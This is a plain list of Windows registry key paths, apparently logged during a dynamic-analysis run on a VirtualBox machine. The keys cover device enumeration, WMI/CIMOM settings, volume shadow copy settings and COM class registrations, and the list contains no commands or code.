HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#SW#{eeab7790-c514-11d1-b42b-00805fc1270e}#asyncmac#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PerHwIdStorage\SW#{eeab7790-c514-11d1-b42b-00805fc1270e}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{eeab7790-c514-11d1-b42b-00805fc1270e}\asyncmac\CustomPropertyHwIdKey
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{eeab7790-c514-11d1-b42b-00805fc1270e}\asyncmac\Device Parameters\DeviceGroups
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{eeab7790-c514-11d1-b42b-00805fc1270e}\asyncmac\Device Parameters\DeviceGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\SYSTEM\0000
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\SYSTEM\0000\Capabilities
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HTREE\ROOT\0
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HTREE\ROOT\0\Capabilities
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#SW#{eeab7790-c514-11d1-b42b-00805fc1270e}#asyncmac#{ad498944-762f-11d0-8dcb-00c04fc3358c}\#{78032B7E-4968-42D3-9F37-287EA86C0AAA}\Control
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#SW#{eeab7790-c514-11d1-b42b-00805fc1270e}#asyncmac#{ad498944-762f-11d0-8dcb-00c04fc3358c}\#{78032B7E-4968-42D3-9F37-287EA86C0AAA}\Control\Linked
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\BTH
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_AGILEVPNMINIPORT\0000
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_AGILEVPNMINIPORT\0000\Phantom
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_AGILEVPNMINIPORT\0000\Driver
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_L2TPMINIPORT\0000
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_L2TPMINIPORT\0000\Phantom
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_L2TPMINIPORT\0000\Driver
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{EEAB7790-C514-11D1-B42B-00805FC1270E}\ASYNCMAC\Phantom
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{EEAB7790-C514-11D1-B42B-00805FC1270E}\ASYNCMAC\Driver
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_NDISWANBH\0000
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_NDISWANBH\0000\Phantom
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_NDISWANBH\0000\Driver
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_NDISWANIP\0000
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_NDISWANIP\0000\Phantom
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_NDISWANIP\0000\Driver
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_NDISWANIPV6\0000
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_NDISWANIPV6\0000\Phantom
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_NDISWANIPV6\0000\Driver
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_PPPOEMINIPORT\0000
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_PPPOEMINIPORT\0000\Phantom
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_PPPOEMINIPORT\0000\Driver
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCI\VEN_8086&DEV_100E&SUBSYS_001E8086&REV_02\3&267A616A&0&18
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCI\VEN_8086&DEV_100E&SUBSYS_001E8086&REV_02\3&267A616A&0&18\Phantom
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCI\VEN_8086&DEV_100E&SUBSYS_001E8086&REV_02\3&267A616A&0&18\Driver
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\IDE\DISKVBOX_HARDDISK___________________________1.0_____\5&33D1638A&0&0.0.0
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCI\VEN_8086&DEV_100E&SUBSYS_001E8086&REV_02\3&267A616A&0&18\Capabilities
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCI\VEN_8086&DEV_100E&SUBSYS_001E8086&REV_02\3&267A616A&0&18\ConfigFlags
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\IDE\DISKVBOX_HARDDISK___________________________1.0_____\5&33D1638A&0&0.0.0\Capabilities
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\IDE\DISKVBOX_HARDDISK___________________________1.0_____\5&33D1638A&0&0.0.0\ConfigFlags
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\IDE\DISKVBOX_HARDDISK___________________________1.0_____\5&33D1638A&0&0.0.0\Properties
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\IDE\DISKVBOX_HARDDISK___________________________1.0_____\5&33D1638A&0&0.0.0\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{53f56307-b6bf-11d0-94f2-00a0c91efb8b}\##?#IDE#DiskVBOX_HARDDISK___________________________1.0_____#5&33d1638a&0&0.0.0#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}\#
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{53f56307-b6bf-11d0-94f2-00a0c91efb8b}\##?#IDE#DiskVBOX_HARDDISK___________________________1.0_____#5&33d1638a&0&0.0.0#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{53f56307-b6bf-11d0-94f2-00a0c91efb8b}\##?#IDE#DiskVBOX_HARDDISK___________________________1.0_____#5&33d1638a&0&0.0.0#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCI\VEN_8086&DEV_100E&SUBSYS_001E8086&REV_02\3&267A616A&0&18\FriendlyName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCI\VEN_8086&DEV_100E&SUBSYS_001E8086&REV_02\3&267A616A&0&18\DeviceDesc
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_PPTPMINIPORT\0000
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_PPTPMINIPORT\0000\Phantom
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_PPTPMINIPORT\0000\Driver
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_SSTPMINIPORT\0000
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_SSTPMINIPORT\0000\Phantom
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_SSTPMINIPORT\0000\Driver
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\*ISATAP\0000
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\*ISATAP\0000\Phantom
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\*ISATAP\0000\Driver
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\*ISATAP\0001
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\*ISATAP\0001\Phantom
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\*ISATAP\0001\Driver
HKEY_LOCAL_MACHINE\Software\Microsoft\WBEM\Tracing\WMI
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\SessionEnabled
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\Level
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\AreaFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\Session
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\LogFile
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\BufferSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\MinimumBuffers
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\MaximumBuffers
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\MaximumFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\LogFileMode
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\FlushTimer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\AgeLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SYSTEM\Setup
HKEY_LOCAL_MACHINE\SYSTEM\Setup\UpgradeInProgress
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Safeboot\Option
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS\VssAccessControl
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Rpc
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS\Settings
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Settings\ActiveWriterStateTimeout
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS\Diag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Diag\(Default)
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS\Diag\WMI Writer
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Settings\TornComponentsMax
HKEY_LOCAL_MACHINE\Software\Classes
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00000100-0000-0000-C000-000000000046}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00000100-0000-0000-C000-000000000046}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00000100-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9555-4FB6-11D1-9971-00C04FBBB345}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9555-4FB6-11D1-9971-00C04FBBB345}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9555-4FB6-11D1-9971-00C04FBBB345}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9557-4FB6-11D1-9971-00C04FBBB345}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9557-4FB6-11D1-9971-00C04FBBB345}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9557-4FB6-11D1-9971-00C04FBBB345}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F309AD18-D86A-11D0-A075-00C04FB68820}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F309AD18-D86A-11D0-A075-00C04FB68820}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F309AD18-D86A-11D0-A075-00C04FB68820}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TreatAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InprocHandler32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InprocHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\Software\Microsoft\WBEM\CIMOM
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\IdentifierLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\QueryLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\PathLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbThrottlingEnabled
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighMaxLimitFactor
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbTaskMaxSleep
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold1Mult
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold2
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold2Mult
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold3
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold3Mult
HKEY_LOCAL_MACHINE\system\Setup
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Unchecked Task Count
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\LastServiceStart
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Working Directory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Repository Directory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Build
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Logging Directory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\MOF Self-Install Directory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Default Repository Driver
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ConfigValueCoreFsrepVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Repository Cache Spill Ratio
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\CheckPointValue
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\SnapShotValue
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wbem\CIMOM
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\CheckRepositoryOnNextStartup
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\NumWriteIdCheck
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Class Cache Size
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Class Cache Item Age (ms)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\EnableObjectValidation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\NextAutoRecoverFile
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Enable Provider Subsystem
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Transports\Decoupled\Client
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Transports\Decoupled\Client\{4528B43E-8110-4BC2-9519-4704F6839CC9}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{4528B43E-8110-4BC2-9519-4704F6839CC9}\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{4528B43E-8110-4BC2-9519-4704F6839CC9}\Provider
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{4528B43E-8110-4BC2-9519-4704F6839CC9}\Scope
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{4528B43E-8110-4BC2-9519-4704F6839CC9}\Locale
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{4528B43E-8110-4BC2-9519-4704F6839CC9}\User
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{4528B43E-8110-4BC2-9519-4704F6839CC9}\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{4528B43E-8110-4BC2-9519-4704F6839CC9}\ProcessIdentifier
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Transports\Decoupled\Client\{98ED7337-6B70-4CB1-AF2E-255A91FF690F}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{98ED7337-6B70-4CB1-AF2E-255A91FF690F}\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{98ED7337-6B70-4CB1-AF2E-255A91FF690F}\Provider
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{98ED7337-6B70-4CB1-AF2E-255A91FF690F}\Scope
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{98ED7337-6B70-4CB1-AF2E-255A91FF690F}\Locale
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{98ED7337-6B70-4CB1-AF2E-255A91FF690F}\User
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{98ED7337-6B70-4CB1-AF2E-255A91FF690F}\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{98ED7337-6B70-4CB1-AF2E-255A91FF690F}\ProcessIdentifier
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Transports\Decoupled\Client\{9AFECCEE-F4AB-4D2A-8F19-A565C84B3A3E}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{9AFECCEE-F4AB-4D2A-8F19-A565C84B3A3E}\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{9AFECCEE-F4AB-4D2A-8F19-A565C84B3A3E}\Provider
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{9AFECCEE-F4AB-4D2A-8F19-A565C84B3A3E}\Scope
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{9AFECCEE-F4AB-4D2A-8F19-A565C84B3A3E}\Locale
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{9AFECCEE-F4AB-4D2A-8F19-A565C84B3A3E}\User
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{9AFECCEE-F4AB-4D2A-8F19-A565C84B3A3E}\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{9AFECCEE-F4AB-4D2A-8F19-A565C84B3A3E}\ProcessIdentifier
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Transports\Decoupled\Client\{E67713A8-22A6-4301-8DC7-EDD0251B97C7}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E67713A8-22A6-4301-8DC7-EDD0251B97C7}\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E67713A8-22A6-4301-8DC7-EDD0251B97C7}\Provider
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E67713A8-22A6-4301-8DC7-EDD0251B97C7}\Scope
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E67713A8-22A6-4301-8DC7-EDD0251B97C7}\Locale
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E67713A8-22A6-4301-8DC7-EDD0251B97C7}\User
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E67713A8-22A6-4301-8DC7-EDD0251B97C7}\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{E67713A8-22A6-4301-8DC7-EDD0251B97C7}\ProcessIdentifier
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Transports\Decoupled\Server
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Server\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Server\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Server\ProcessIdentifier
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\EnableEvents
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ConfigValueEssToBeInitialized
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Low Threshold On Events (B)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\High Threshold On Events (B)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Wait On Events (ms)
HKEY_LOCAL_MACHINE\Software\Microsoft\WBEM\ESS
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Merger Query Arbitration Enabled
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\CIMOM
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\FinalizerBatchSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ClientCallbackTimeout
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\FinalizerQueueThreshold
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Tasks
HKEY_LOCAL_MACHINE\software\microsoft\wbem\cimom
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\SetupDate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Async Result Queue Size
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\cimv2
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\cimv2
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TreatAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocHandler32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ConfigValueEssNeedsLoading
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\List of event-active namespaces
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\ESS\//./root/subscription
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\ESS\//./root/CIMV2
HKEY_LOCAL_MACHINE\Software\Microsoft\OleAut
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TreatAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\ThreadingModel
